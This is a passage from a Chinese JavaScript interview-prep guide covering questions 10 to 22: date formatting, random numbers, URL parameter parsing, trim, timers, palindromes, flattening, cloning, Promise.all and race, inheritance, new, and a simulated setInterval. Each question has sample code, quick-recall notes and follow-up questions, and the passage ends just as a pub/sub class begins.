取年、月、日三个数,月份记得加一,再把月和日补成两位,拼成 YYYY-MM-DD。 现在补零我直接用 padStart(2, '0'),比三元表达式清楚。这题容易踩的坑在别处:有人图省事写 new Date().toISOString().slice(0, 10),它是按 UTC 算的,国内凌晨到早上 8 点之间会输出前一天的日期,这个问题很隐蔽。toLocaleDateString 也别指望它固定格式,en-US 出来是月在前,顺序完全不对。

以YYYY-MM-DD的方式,比如今天是2014年9月26日,则输出2014-09-26

var d = new Date();
  // 获取年,getFullYear()返回4位的数字
  var year = d.getFullYear();
  // 获取月,月份比较特殊,0是1月,11是12月
  var month = d.getMonth() + 1;
  // 变成两位
  month = month < 10 ? '0' + month : month;
  // 获取日
  var day = d.getDate();
 day = day < 10 ? '0' + day : day;
 alert(year + '-' + month + '-' + day);

除了上述代码中使用Date对象的方法外,还有其他方式可以获取今天的日期并输出。

一种常见的方式是使用toLocaleDateString()方法,该方法可以返回表示日期的字符串。可以通过传递适当的选项来指定所需的日期格式。

以下是使用toLocaleDateString()方法获取今天的日期的示例代码:

var today = new Date();
var options = { year: 'numeric', month: '2-digit', day: '2-digit' };
var formattedDate = today.toLocaleDateString('en-US', options);
console.log(formattedDate); // 比如 '09/26/2014'

在上述代码中,首先创建一个Date对象表示今天的日期。

然后,定义一个选项对象options,其中指定了年份、月份和日期的格式。

最后,使用toLocaleDateString()方法将日期对象转换为指定格式的字符串,并将其赋值给formattedDate变量。

通过console.log()函数输出formattedDate,得到的是 09/26/2014:年月日的顺序和分隔符由地区参数决定,en-US 是月在前,zh-CN 是 2014/09/26,都不是 YYYY-MM-DD。

这种方法适合按用户所在地区展示日期;需要固定的 YYYY-MM-DD 格式时,可以用 Intl.DateTimeFormat 的 formatToParts() 取出年、月、日各段再拼接,或者直接用上面手动拼接的写法。另外别用 toISOString().slice(0, 10),它按 UTC 计算,北京时间早上 8 点前会得到前一天的日期。

💬 面试官追问

  • 线上日报有时显示昨天的日期,代码里用的是 toISOString(),问题在哪?

    toISOString() 永远输出 UTC 时间,东八区早上 8 点前 UTC 还是前一天。改成用本地时间的 getFullYear() 那三个方法拼,或者 dayjs().format('YYYY-MM-DD')。

  • 用 toLocaleDateString('en-US', { year: 'numeric', month: '2-digit', day: '2-digit' }) 能得到 YYYY-MM-DD 吗?

    不能,得到的是 09/26/2014。想用 Intl 稳定拿到这个格式,可以用 formatToParts 取出年月日自己拼。

  • new Date('2014-09-26') 和 new Date('2014/09/26') 有区别吗?

    有。纯日期的 ISO 格式按 UTC 零点解析,东八区打印出来是早上 8 点;斜杠格式按本地时间零点解析。老版本 Safari 还不认 2014-09-26 10:00 这种中间带空格的写法,会得到 Invalid Date。

  • 服务端和客户端都要显示今天日期,结果不一致,为什么?

    服务器时区一般是 UTC,用户在东八区,跨零点那几个小时日期就差一天。要么约定用固定时区格式化,比如 Intl.DateTimeFormat 传 timeZone: 'Asia/Shanghai',要么只在客户端渲染日期。

# 11 用js实现随机选取10–100之间的10个数字,存入一个数组,并排序

⚡ 30 秒速记

  • 区间随机整数:Math.floor(Math.random() * (max - min + 1)) + min,+ 1 才取得到 100
  • 生成 10 个:Array.from({ length: 10 }, () => rand(10, 100))
  • 排序一定传比较函数 sort((a, b) => a - b),默认按字符串排
  • 要求不重复就用 Set 收集到 size === 10,或者洗牌后取前 10 个
  • 区间长度是 max - min + 1,写反成 min - max 会得到负数

先写一个取区间随机整数的函数,循环取 10 个放进数组,最后用 sort((a, b) => a - b) 按数值排序。 随机数公式是 Math.floor(Math.random() * (max - min + 1)) + min,那个 + 1 不能少,不然永远取不到 100。这题最常见的扣分点是 sort() 不传参数,它会把数字转成字符串比,100 会排在 20 前面。区间长度要写成 iend - istart + 1,写反了会算出负数。

var iArray = [];
function getRandom(istart, iend){
  var iChoice = iend - istart + 1;
  return Math.floor(Math.random() * iChoice) + istart;
}
for(var i=0; i<10; i++){
  iArray.push(getRandom(10,100));
}
iArray.sort(function (a, b) { return a - b; });

Math.random() 返回 [0, 1),乘以 91 后是 [0, 91),floor 之后是 0~90 的整数,加上 10 正好是 10~100,每个数概率相同。

💬 面试官追问

  • [100, 20, 3].sort() 结果是什么?

    [100, 20, 3]。默认按字符串比,'1' < '2' < '3',刚好保持原样。传 (a, b) => a - b 才是 [3, 20, 100]。

  • 要求 10 个数不能重复,怎么写?

    const s = new Set(); while (s.size < 10) s.add(rand(10, 100)),再 [...s].sort((a, b) => a - b)。区间有 91 个数只取 10 个,重复概率低,循环很快就结束。

  • 如果是 1~20 里取 19 个不重复的,还用 Set 循环吗?

    不了,越到后面越难抽中没用过的数。把 1~20 放进数组,用 Fisher-Yates 洗牌后取前 19 个,复杂度固定是 O(n)。

  • 抽奖号码能用 Math.random() 生成吗?

    不能。Math.random() 不是密码学安全的,结果理论上可预测。涉及钱和公平性的用 crypto.getRandomValues(),而且抽奖结果应该由服务端生成。

  • Math.round(Math.random() * 90) + 10 有什么问题?

    两端概率只有中间的一半,10 和 100 只占半个区间。区间随机整数要用 Math.floor 配 + 1,每个数概率才均等。

# 12 写一段JS程序提取URL中的各个GET参数

⚡ 30 秒速记

  • 首选原生:new URL(url).searchParams,配 get / getAll / has
  • 一行转对象:Object.fromEntries(new URL(url).searchParams),重复键只留最后一个
  • URLSearchParams 会自动解码,+ 会被当成空格
  • 没有 = 的参数 e,原生解析出来是空字符串 '',想要 undefined 得自己处理
  • 手写要注意:只切第一个 =、去掉 # 后面的部分、decodeURIComponent 解码

现在提取查询参数直接用 URLSearchParams,手写主要是考字符串处理和边界情况。 Object.fromEntries(new URL(url).searchParams) 一行就能拿到对象,解码也帮你做好了。手写的话,最朴素的 split('&') 再 split('=') 有几个漏洞:没处理 # 后面的锚点,最后一个参数会带上 #xxx;d=a=b 这种值里带等号的会被截断;没解码,中文参数拿到的是 %E4%BD%A0;同名参数 a=1&a=2 会互相覆盖。面试时把这几点说出来,比写出代码更重要。

有这样一个URL:http://item.taobao.com/item.htm?a=1&b=2&c=&d=xxx&e,请写一段JS程序提取URL中的各个GET参数(参数名和参数个数不确定),将其按key-value形式返回到一个json结构中,如{a:'1', b:'2', c:'', d:'xxx', e:undefined}

function serilizeUrl(url) {
     var result = {};
     url = url.split("?")[1];
     var map = url.split("&");
     for(var i = 0, len = map.length; i < len; i++) {
        result[map[i].split("=")[0]] = map[i].split("=")[1];
     }
     return result;
 }

💬 面试官追问

  • ?a=1&a=2 用 Object.fromEntries 解析,a 是多少?

    是 '2',后面的覆盖前面的。要拿全部用 searchParams.getAll('a'),得到 ['1', '2']。

  • 参数值里有 +,后端收到的却是空格,为什么?

    URLSearchParams 按表单编码规则解析,+ 代表空格。真正的加号要编码成 %2B,拼参数时用 encodeURIComponent 或者直接 searchParams.set,它会帮你编码。

  • new URL('/item?a=1') 报错了,为什么?

    URL 构造函数要求绝对地址,相对路径要传第二个参数当基准:new URL('/item?a=1', location.origin)。只有查询串的话直接 new URLSearchParams('?a=1')。

  • decodeURIComponent 有可能抛错吗?

    会。值里出现孤立的 %,比如 discount=50%,会抛 URIError: URI malformed。手写解析要 try...catch,失败就保留原值。

  • Vue / React 项目里拿查询参数还需要自己写吗?

    不用。Vue Router 有 route.query,React Router 有 useSearchParams,Next.js 也有对应的 useSearchParams。自己写只在没有路由库的页面或者工具函数里需要。

# 13 写一个function,清除字符串前后的空格

⚡ 30 秒速记

  • 原生就有:str.trim(),只去两头用 trimStart() / trimEnd()
  • 正则版:str.replace(/^\s+|\s+$/g, '')
  • \s 和 trim 都会去掉全角空格 \u3000、不换行空格 \u00A0、换行和制表符
  • 零宽空格 \u200B 不算空白,trim 去不掉,复制粘贴来的文本常有
  • 中间多个空格压成一个:str.replace(/\s+/g, ' ')

直接 str.trim(),所有现代环境都支持,往 String.prototype 上补 trim 的 polyfill 是给 IE8 那代浏览器准备的。 面试如果要求手写,就用 /^\s+|\s+$/g 替换成空字符串,\s 能匹配空格、制表符、换行、全角空格这些。这题真正容易出问题的是数据本身:用户从 Word 或网页复制过来的文本经常带零宽空格 \u200B,它不算空白字符,trim 去不掉,表单校验会莫名其妙地失败,要单独用 replace(/[\u200B-\u200D\uFEFF]/g, '') 清掉。

使用自带接口trim(),考虑兼容性:

if (!String.prototype.trim) {
    String.prototype.trim = function() {
        return this.replace(/^\s+/, "").replace(/\s+$/,"");
    }
}
// test the function
var str = " \t\n test string ".trim();
alert(str == "test string"); // alerts "true"

💬 面试官追问

  • 用户名输入框做了 trim,后端还是说两个用户名不一样,可能是什么原因?

    多半是零宽字符,\u200B 这类不算空白,trim 处理不了,肉眼也看不出来。用 [...str].map(c => c.codePointAt(0).toString(16)) 打出码点一看就知道,再针对性清掉。

  • trim() 会去掉全角空格吗?

    会。规范里 trim 去掉的是所有 WhiteSpace 和 LineTerminator,包括 \u3000 和 \u00A0。

  • 手写版为什么要写两个分支,不能只写 /\s+/g?

    /\s+/g 会把中间的空格也删掉,'hello world' 变成 'helloworld'。用 ^ 和 $ 锚定两端,只处理开头和结尾。

  • 对一个 null 调 .trim() 怎么防?

    String(value ?? '').trim(),或者 value?.trim() ?? ''。表单数据来自接口时字段可能是 null 或数字,直接调会抛 TypeError。

# 14 实现每隔一秒钟输出1,2,3...数字

⚡ 30 秒速记

  • setInterval(() => console.log(i++), 1000),记得在该停的时候 clearInterval
  • 递归 setTimeout 更稳:上一次跑完才排下一次,不会堆积
  • 经典坑:for (var i ...) 里 setTimeout 输出全是最终值,改 let 或 IIFE
  • for 循环一次性注册 10 个定时器,延迟 j * 1000 的话第一个是立即输出的
  • 最清楚的写法:for (let i = 1; i <= n; i++) { await sleep(1000); console.log(i) }
  • 定时器不准,后台标签页会被节流到至少 1s 一次;要精确就用 Date.now() 校正

每秒输出一个数,最直观是 setInterval,但我更推荐递归 setTimeout 或者 async/await 配一个 sleep。 另一种写法是 for 加 IIFE 一口气注册 10 个定时器,延迟是 0 到 9000 毫秒,靠闭包保住每次的 j,换成 let 就不用 IIFE 了。要注意这样第一个数是立即输出的,如果要求一秒后才出 1,延迟要改成 (j + 1) * 1000。还有一点,定时器只保证「至少」等这么久,主线程忙或者标签页切到后台都会延后。

for(var i=0;i<10;i++){
  (function(j){
     setTimeout(function(){
       console.log(j+1)
     },j*1000)
   })(i)
}

在循环中,立即执行函数被用作一个闭包,用于保存每次循环中的i的值。这是为了避免在setTimeout函数中使用的回调函数在执行时捕获到的是循环结束后的i的值。

setTimeout函数用于设置一个定时器,它接受两个参数:回调函数和延迟时间(以毫秒为单位)。在每次循环中,通过将j*1000作为延迟时间,实现每隔一秒钟输出数字的效果。回调函数输出的数字为j+1,因为j从0开始。

通过这种方式,可以确保每隔一秒钟输出1, 2, 3...的数字。每个数字的输出时间间隔为一秒。

💬 面试官追问

  • for (var i = 1; i <= 3; i++) setTimeout(() => console.log(i), i * 1000) 输出什么?

    每隔一秒输出一次 4,一共三个 4。回调执行时循环早就结束,三个回调共享同一个 i。改成 let 就是 1 2 3。

  • setInterval 和递归 setTimeout 有什么区别?

    setInterval 不管回调跑多久都按固定节奏排队,回调比间隔还慢时会一个接一个连着执行。递归 setTimeout 是跑完再排下一个,间隔至少是设定值,更适合轮询接口这种耗时不固定的任务。

  • 页面倒计时切到后台几分钟再切回来,时间慢了,为什么?

    浏览器会节流后台标签页的定时器,Chrome 里最少 1s 一次,隐藏较久还可能更狠。倒计时不要靠累加次数,每次用目标时间减 Date.now() 算剩余时间,切回来立即校正。

  • 用 async/await 写,怎么支持中途停止?

    传一个 AbortSignal 进去,循环里每次先判断 signal.aborted,sleep 里也监听 abort 事件清掉定时器并 reject。外面 controller.abort() 就能停。

# 15 实现一个函数,判断输入是不是回文字符串

⚡ 30 秒速记

  • 最简:str === [...str].reverse().join('')
  • 双指针更省:头尾往中间比,不等就返回 false,时间 O(n)、空间 O(1)
  • 通常要先预处理:转小写、去掉标点空格,str.toLowerCase().replace(/[^a-z0-9]/g, '')
  • split('') 会把 emoji 拆成两半,反转后变乱码;[...str] 按码点拆,安全一些
  • 进阶题:最长回文子串,用中心扩展法 O(n²)

最省事是把字符串反转一下,和原来相等就是回文;面试我会再补一个双指针版。 常见写法是 split('').reverse().join(''),英文没问题,但 split('') 按 UTF-16 码元拆,emoji 这种占两个码元的字符会被拆开再反着拼回去,变成乱码,改成 [...str] 就好。双指针版不用新建数组,左右各一个指针往中间走,遇到不相等直接返回,长字符串里第一位就不同时能马上结束。实际题目一般还要求忽略大小写和标点,比如 'A man, a plan, a canal: Panama' 要判成回文。

function run(input) {
  if (typeof input !== 'string') return false;
  return input.split('').reverse().join('') === input;
}

💬 面试官追问

  • 'A man, a plan, a canal: Panama' 直接反转比较,结果是什么?

    false,因为大小写、空格、标点都参与了比较。先 toLowerCase() 再去掉非字母数字,剩下 amanaplanacanalpanama,就是回文了。

  • 双指针版怎么写?

    let i = 0, j = s.length - 1; while (i < j) { if (s[i++] !== s[j--]) return false } return true。不需要额外数组,碰到不同立即退出。

  • '👨‍👩‍👧' 这种组合 emoji 用 [...str] 反转还对吗?

    不对。它是好几个码点用零宽连接符拼起来的,[...str] 会拆成多个码点,反转后变成几个分开的人。要按用户看到的字符拆,得用 Intl.Segmenter 做字形分割。

  • 最多删一个字符,判断能不能变成回文,怎么做?

    还是双指针,第一次遇到不相等时,分别试跳过左边一个或右边一个,剩下的区间只要有一个是回文就行,整体 O(n)。

# 16 数组扁平化处理

⚡ 30 秒速记

  • 原生首选:arr.flat(depth),全展开用 flat(Infinity)
  • flatMap 等于 map 之后 flat(1),只展一层
  • 递归版:reduce + Array.isArray,是数组就递归 concat
  • 迭代版用栈防爆栈:从尾部 pop,是数组就展开 push 回去,最后 reverse
  • arr.toString().split(',') 会把所有元素变字符串,null、对象都会坏,写这个减分

能用原生就直接 arr.flat(Infinity),面试要求手写就写递归版,再提一句怎么防爆栈。 递归版思路很简单,用 reduce 遍历,遇到数组就递归展开再 concat,普通元素直接加进去。while (arr.some(Array.isArray)) 加扩展运算符的写法也对,每轮展开一层,但每轮都要遍历整个数组,层数深时会慢一些。嵌套特别深的数据,比如几万层,递归会栈溢出,这时就换成手动维护一个栈的迭代写法。

实现一个flatten方法,使得输入一个数组,该数组里面的元素也可以是数组,该方法会输出一个扁平化的数组

function flatten(arr){
  return arr.reduce(function(prev,item){
      return prev.concat(Array.isArray(item)?flatten(item):item);
  },[]);
}

除了使用reduce方法,还可以使用递归和ES6的扩展运算符等方式来实现数组的扁平化处理。

  1. 递归方式:
function flatten(arr) {
  var result = [];
  arr.forEach(function(item) {
    if (Array.isArray(item)) {
      result = result.concat(flatten(item));
    } else {
      result.push(item);
    }
  });
  return result;
}
  1. 使用ES6的扩展运算符:
function flatten(arr) {
  while (arr.some(Array.isArray)) {
    arr = [].concat(...arr);
  }
  return arr;
}

这些方法都可以将多层嵌套的数组扁平化成一个一维数组。使用递归方法时,通过遍历数组的每个元素,如果元素是数组,则递归调用扁平化函数;如果元素不是数组,则直接添加到结果数组中。使用ES6的扩展运算符时,通过不断地展开数组中的每个元素,直到所有元素都不再是数组为止。

💬 面试官追问

  • [1, [2, [3, [4]]]].flat() 结果是什么?

    [1, 2, [3, [4]]]。flat 默认只展开一层,要全部展开传 Infinity。

  • 只展开到第 2 层,手写版怎么支持?

    加一个 depth 参数,递归时传 depth - 1,depth 为 0 时不再展开,直接把元素放进去。这就是 flat(depth) 的语义。

  • [1, , 3].flat() 会得到什么?

    [1, 3],flat 会跳过稀疏数组的空位。手写版用 reduce 或 forEach 也会跳过空位,但用 for 循环下标遍历会拿到 undefined,行为就不一致了。

  • 为什么不用 arr.toString().split(',')?

    元素全变成字符串,[1, [2]] 得到 ['1', '2'];null 变空字符串,对象变 '[object Object]',字符串里本身带逗号的还会被拆开。

  • 嵌套 10 万层的数组,递归版会怎样?

    栈溢出,抛 Maximum call stack size exceeded。改成迭代:const stack = [...arr], res = [],循环 pop,是数组就 stack.push(...item),否则 res.push(item),最后 res.reverse()。

# 17 实现一个函数clone,可以对JavaScript中的5种主要的数据类型(包括Number、String、Object、Array、Boolean)进行值复制

⚡ 30 秒速记

  • 和第 7 题同一个考点,题目限定 Number、String、Boolean、Object、Array 五种
  • 基本类型直接返回,数组和对象建新壳再递归复制
  • typeof null === 'object',不先排除 null 就会把它当对象处理,调用时报错
  • 写成独立函数,别挂在 Object.prototype 上:那样 clone 方法可枚举,会被所有 for...in 遍历出来
  • 遍历自身属性用 Object.keys 或 hasOwnProperty,别把原型上的东西拷进来

思路是判断类型,基本类型直接返回值,数组和对象新建一个再逐个属性递归复制。 题目给的五种里,Number、String、Boolean 是基本类型,赋值就是复制值;Object 和 Array 是引用,必须递归。要注意两点:值是 null 时 typeof 也是 'object',不先排除就会被当成对象处理而报错;方法别加在 Object.prototype 上,那样它可枚举,所有对象的 for...in 都会多出个 clone。我会写成独立函数,先判 null,用 Object.keys 只遍历自身属性。

function clone(value) {
  // 基本类型和 null 直接返回(typeof null 也是 'object',要单独排除)
  if (value === null || typeof value !== 'object') return value

  if (Array.isArray(value)) return value.map(clone)

  const result = {}
  for (const key of Object.keys(value)) { // 只拷自身可枚举属性
    result[key] = clone(value[key])
  }
  return result
}

const src = { n: 1, s: 'a', b: true, arr: [1, { x: 2 }], empty: null }
const copy = clone(src)
copy.arr[1].x = 99
console.log(src.arr[1].x) // 2,原对象不受影响

写成独立函数,不往 Object.prototype 上挂方法。超出这五种类型(Date、Map、循环引用)就按第 7 题的完整版处理,或直接用 structuredClone。

💬 面试官追问

  • 对象里有个字段是 null,如果只用 typeof x === 'object' 判断要不要递归,会怎样?

    抛 TypeError: Cannot read properties of null。typeof null 是 'object',代码会把它当对象继续处理。判断要写成 x !== null && typeof x === 'object'。

  • 在 Object.prototype 上加方法有什么副作用?

    它默认可枚举,项目里所有 for...in 都会多遍历出一个 clone,第三方库也会被影响。真要扩展原型,得用 Object.defineProperty 设成不可枚举,但最好别动内置原型。

  • new Number(1) 这种包装对象,上面的写法会怎么处理?

    typeof 是 'object',会被当普通对象递归,最后得到一个空对象 {},值丢了。实际开发几乎不会碰到包装对象,面试能指出来就行。

  • 用上面的写法拷贝一个 Date,结果是什么?

    {}。Date 没有可枚举的自身属性,什么也遍历不到。要单独判断 x instanceof Date 然后 new Date(x.getTime())。

# 18 手写 promise.all 和 race(京东)

⚡ 30 秒速记

  • all:计数器 + 按下标写结果,不能 push;有一个失败立刻整体 reject
  • race:谁先落定就跟谁,成功失败都算
  • 每一项先 Promise.resolve(item) 包一下,兼容普通值和 thenable
  • 空数组:all 立即 resolve([]),race 永远 pending;手写 all 不单独处理空数组,会一直挂着
  • 另外两个:allSettled 永不 reject,any 取第一个成功、全失败抛 AggregateError

Promise.all 等所有都成功,按原顺序返回结果;Promise.race 是谁先有结果就用谁的。 手写 all 的关键是用下标 result[i] = res 存结果,再用计数器判断是不是全齐了,因为异步完成顺序是乱的,push 会把顺序打乱;任何一个失败就直接 reject。空数组要单独处理,不然循环一次都不跑,计数永远等不到,Promise 一直 pending,规范要求立即返回 []。race 就简单了,每项都挂 then(resolve, reject),第一个落定的生效,后面的调用会被忽略。

  //静态方法
  static all(promiseArr) {
    let result = [];
    //声明一个计数器 每一个promise返回就加一
    let count = 0;
    return new Mypromise((resolve, reject) => {
      for (let i = 0; i < promiseArr.length; i++) {
      //这里用 Promise.resolve包装一下 防止不是Promise类型传进来
        Promise.resolve(promiseArr[i]).then(
          (res) => {
            //这里不能直接push数组  因为要控制顺序一一对应(感谢评论区指正)
            result[i] = res;
            count++;
            //只有全部的promise执行成功之后才resolve出去
            if (count === promiseArr.length) {
              resolve(result);
            }
          },
          (err) => {
            reject(err);
          }
        );
      }
    });
  }
  //静态方法
  static race(promiseArr) {
    return new Mypromise((resolve, reject) => {
      for (let i = 0; i < promiseArr.length; i++) {
        Promise.resolve(promiseArr[i]).then(
          (res) => {
            //promise数组只要有任何一个promise 状态变更  就可以返回
            resolve(res);
          },
          (err) => {
            reject(err);
          }
        );
      }
    });
  }
}

💬 面试官追问

  • Promise.all([]) 应该返回什么?手写版要注意什么?

    规范是立即 resolve([])。手写版如果只靠循环里计数,空数组时循环一次不执行,count === length 的判断永远走不到,一直 pending。开头加一句 if (arr.length === 0) return resolve([])。

  • all 里第二个请求失败了,第一个、第三个请求会被取消吗?

    不会。Promise 本身没有取消机制,all 只是不再关心其他结果,请求照样发完。要真取消,就给每个 fetch 传同一个 AbortSignal,catch 里调 abort()。

  • 首页 5 个接口,一个挂了不想让整页白屏,用哪个?

    Promise.allSettled。它等全部结束,返回每项的 status 和 value 或 reason,成功的照常渲染,失败的模块单独显示兜底。

  • 怎么用 race 给请求加超时?

    Promise.race([fetch(url), new Promise((_, rej) => setTimeout(() => rej(new Error('timeout')), 5000))])。注意超时后请求还在跑,要真正中断用 AbortSignal.timeout(5000) 传给 fetch。

  • 100 个上传任务想最多同时跑 3 个,怎么写?

    维护一个执行池:先启动 3 个,每完成一个就从队列里取下一个补上,用下标保存结果,全部完成后 resolve。这和 all 的计数思路一样,只是多了一个「完成一个补一个」。

# 19 手写-实现一个寄生组合继承

⚡ 30 秒速记

  • 三步走:Parent.call(this, ...args) 拿实例属性 → Child.prototype = Object.create(Parent.prototype) 接原型链 → 补回 constructor
  • 为啥不用 Child.prototype = new Parent():父构造函数多跑一次,原型上还挂一份没用的实例属性
  • 「组合」= 借用构造函数 + 原型链,「寄生」= 用 Object.create 造一个干净的中间对象
  • 静态方法也要继承就加 Object.setPrototypeOf(Child, Parent)
  • class extends 做的就是这几件事,外加 super 必须先调、子类不能不用 new 调用

寄生组合继承说白了就两句:子构造函数里借父构造函数拿属性,原型用 Object.create 接到父原型上。 老的组合继承写 Child.prototype = new Parent(),父构造函数会执行两次,原型上还多出一份 name 这种实例属性,被 Object.create 一换就干净了。最后别忘了 Child.prototype.constructor = Child,否则 child.constructor 指到 Parent。手写时还有个常见疏忽:Parent.call(this) 忘了把参数透传过去,要写成 Parent.call(this, name)。

function Parent(name) {
  this.name = name;
  this.say = () => {
    console.log(111);
  };
}
Parent.prototype.play = () => {
  console.log(222);
};
function Children(name) {
  Parent.call(this, name);
}
Children.prototype = Object.create(Parent.prototype);
Children.prototype.constructor = Children;


let child = new Children("111");
console.log(child.name);
child.say();
child.play();

💬 面试官追问

  • 不修正 constructor 会出什么问题?

    child.constructor === Parent,平时 instanceof 照样对,但依赖 constructor 的代码会翻车,比如 new obj.constructor() 克隆实例会造出一个 Parent。修正时更规范的写法是用 Object.defineProperty 设成不可枚举,和原生保持一致。

  • Object.create(Parent.prototype) 换成 Child.prototype = Parent.prototype 行不行?

    不行,两个原型变成同一个对象,你给 Child.prototype.run 加方法,Parent 的实例也能调到,改 constructor 还会把父类的一起改掉。Object.create 的意义就是隔一层。

  • Parent 上的静态方法 Parent.create(),子类怎么也能调?

    Object.setPrototypeOf(Child, Parent),让 Child 函数本身的原型指向 Parent,Child.create 查不到就沿链找到 Parent.create。class extends 默认就会建这条链。

  • 那 class extends 和这套手写完全等价吗?

    不完全。class 子类构造函数里必须先 super() 才能用 this,实例是父类先创建的,所以能正确继承 Array、Error 这种内置类;手写版用 Array.call(this) 是拿不到数组特性的。另外 class 不能当普通函数调用,方法也不可枚举。

# 20 手写-new 操作符

⚡ 30 秒速记

  • 四步:建对象并链原型 Object.create(Fn.prototype) → 用它当 this 执行 Fn → 看返回值 → 返回
  • 返回值规则:显式 return 对象或函数就用它,返回原始值或不返回就用新对象
  • 判断写 res !== null && (typeof res === 'object' || typeof res === 'function'),null 是坑
  • 箭头函数、async 函数、普通对象方法简写都没有 [[Construct]],new 会直接报 TypeError
  • class 用 fn.call 调会报错,想兼容就用 Reflect.construct(Fn, args)

new 干的事就是:造一个原型指向 Fn.prototype 的空对象,拿它当 this 跑一遍构造函数,构造函数没返回对象的话就把它交出去。 手写时最容易漏的是返回值判断,构造函数 return { a: 1 } 结果就是这个对象,return 1 会被忽略,return null 也被忽略,所以判断里要排掉 null。再讲细一点可以补一句:真正的 new 还会检查 Fn 能不能被构造,箭头函数直接抛 TypeError,手写版一般补个 typeof Fn !== 'function' 的校验就够了。

function myNew(fn, ...args) {
  let obj = Object.create(fn.prototype);
  let res = fn.call(obj, ...args);
  if (res && (typeof res === "object" || typeof res === "function")) {
    return res;
  }
  return obj;
}
// 用法如下:
function Person(name, age) {
  this.name = name;
  this.age = age;
}
Person.prototype.say = function() {
  console.log(this.age);
};
let p1 = myNew(Person, "lihua", 18);
console.log(p1.name);
console.log(p1);
p1.say();

💬 面试官追问

  • 构造函数里 return null,new 出来是什么?

    还是那个新对象。typeof null === 'object',所以手写版判断返回值时必须单独排掉 null,上面实现里先写 res && 就是为了这个。

  • 用你的 myNew 去构造一个 class Person,会怎样?

    Person.call(obj) 直接抛 Class constructor Person cannot be invoked without 'new'。要兼容 class 就别手动 call,改成 Reflect.construct(Fn, args),它会按真正的 new 语义走,new.target 也对。

  • 为什么用 Object.create(Fn.prototype),不写 obj.__proto__ = Fn.prototype?

    效果一样,但 __proto__ 是历史遗留的访问器,规范只是为兼容保留,运行中改原型还会让引擎的对象形状优化失效。Object.create 在创建时就定好原型,语义更干净。

  • 箭头函数为啥不能 new?

    它没有自己的 this,也没有 prototype,引擎层面没有 [[Construct]] 内部方法,所以 new 直接 TypeError。同理,async function 和对象方法简写 { say() {} } 也不能 new。

  • 构造函数里怎么判断自己是不是被 new 调用的?

    看 new.target,new 调用时是构造函数本身,普通调用时是 undefined。老写法是 this instanceof Fn,但用 Fn.call(instance) 就能骗过去。

# 21 手写-setTimeout 模拟实现 setInterval(阿里)

⚡ 30 秒速记

  • 写法:回调里先执行 fn,再 setTimeout 安排下一次,形成链式调度
  • 区别:setInterval 按固定节奏往队列塞,回调比间隔慢时会连着跑;链式 setTimeout 是上一轮跑完才开始等
  • 返回一个取消函数,里面直接 clearTimeout(timer) 加一个停止标记,别只设标记
  • 想要节奏稳定:记录起点,每轮按 start + n * interval - Date.now() 算延迟,抵消漂移
  • 后台标签页浏览器会把定时器节流到 1s 甚至更久,任何定时器都不保证准时

用 setTimeout 模拟 setInterval,就是每次回调跑完再挂下一个 setTimeout,像接力棒一样传下去。 它比 setInterval 好在不会堆积:如果回调要跑 300ms、间隔 100ms,setInterval 会让回调几乎无缝连着执行,链式写法则保证两次之间至少隔 100ms。代价是每轮的执行耗时会累加进周期里,跑久了会漂移,需要精确节奏就按起始时间算下一次的延迟。取消时我会直接 clearTimeout 当前的 timer,只设标记、等下一轮再清的写法会多触发一次空回调。

function mySetInterval(fn, time = 1000) {
  let timer = null,
    isClear = false;
  function interval() {
    if (isClear) {
      isClear = false;
      clearTimeout(timer);
      return;
    }
    fn();
    timer = setTimeout(interval, time);
  }
  timer = setTimeout(interval, time);
  return () => {
    isClear = true;
  };
}
  • 函数内部定义了一个timer变量和一个isClear变量,timer用于保存setTimeout的返回值,isClear用于标记是否需要清除定时器。
  • interval函数是核心的定时执行函数,它会在每个时间间隔内执行一次回调函数fn。在每次执行回调函数之前,会检查isClear的值,如果为true,表示需要清除定时器,此时会调用clearTimeout清除定时器并直接返回。否则,会执行回调函数fn,然后通过setTimeout设置下一个定时执行。
  • 在调用mySetInterval函数时,并不会立即执行回调,而是先通过setTimeout安排第一次执行,第一次回调要等 time 毫秒。同时,返回一个函数,调用该函数可以手动清除定时器。
  • 需要注意的是,模拟实现的mySetInterval函数在执行回调函数时是通过setTimeout实现的,因此会存在一定的延迟。实际上,使用setInterval能更准确地控制时间间隔,因为setInterval会尽可能保持固定的间隔时间。而使用setTimeout实现的mySetInterval函数可能会存在一些累积的误差。
// 测试
let a = mySetInterval(() => {
  console.log(111);
}, 1000)
let cancel = mySetInterval(() => {
  console.log(222)
}, 1000)
cancel()

💬 面试官追问

  • 你这个取消函数是等下一轮才生效,有问题吗?

    有。已经挂上的那个 setTimeout 还会触发一次,只是进去发现标记就返回了。更干脆的写法是取消函数里直接 clearTimeout(timer) 再置标记,标记是用来防止 fn 执行中途被取消后又挂上新定时器。

  • 倒计时用 setTimeout(tick, 1000) 递归,跑了十分钟慢了好几秒,怎么修?

    每轮的执行耗时和定时器本身的延迟都在累加。记下 start,第 n 轮的延迟算成 start + n * 1000 - Date.now(),显示的剩余时间也用 Date.now() 实算,不要靠计数器自减。

  • 回调是个异步请求,怎么保证上一个请求回来才发下一个?

    把 fn 换成 async,在 await fn() 之后再 setTimeout。这正是轮询接口时链式 setTimeout 比 setInterval 强的地方,接口慢的时候不会叠出一堆并发请求。

  • 页面切到后台,定时器还准吗?

    不准。Chrome 会把后台标签页的定时器节流到至少 1s 一次,长时间后台还可能更狠。所以别靠定时器计时,切回前台时用 visibilitychange 事件拿 Date.now() 重新校准。

  • 反过来,用 setInterval 模拟 setTimeout 呢?

    回调里第一件事就 clearInterval(id),再执行 fn,只跑一次。这题主要考你知道两者都返回 id、清理函数怎么配对。

# 22 手写-发布订阅模式(字节)

⚡ 30 秒速记

  • 结构:Map<事件名, 回调数组>,on 往里 push,emit 遍历执行,off 过滤掉
  • once:包一层 wrapper,执行时先 off 自己再调原函数,并挂 wrapper.fn = fn 让 off(type, fn) 能认出来
  • emit 前先拷一份数组 [...list],否则回调里 off 会让遍历跳过下一个
  • 和观察者模式的区别:发布订阅中间有调度中心,双方互不认识;观察者是 Subject 直接持有 Observer
  • 别忘了清理:组件卸载时 off,否则闭包里的组件实例一直被持有,内存泄漏

发布订阅就是一个事件名到回调列表的映射,on 登记、emit 广播、off 注销,once 是包一层自动注销的 wrapper。 手写 once 最常见两个坑:用普通 function 包装时里面的 this 不是实例,this.off 会报错;调原回调时忘了传参数。另外 once 包过之后,用户拿原函数 off 是删不掉的,所以要在 wrapper 上记一下原函数。还有个细节很多人漏:emit 遍历时如果回调里 off,数组被改了会跳过下一个,遍历前先拷贝一份就好。

class EventEmitter {
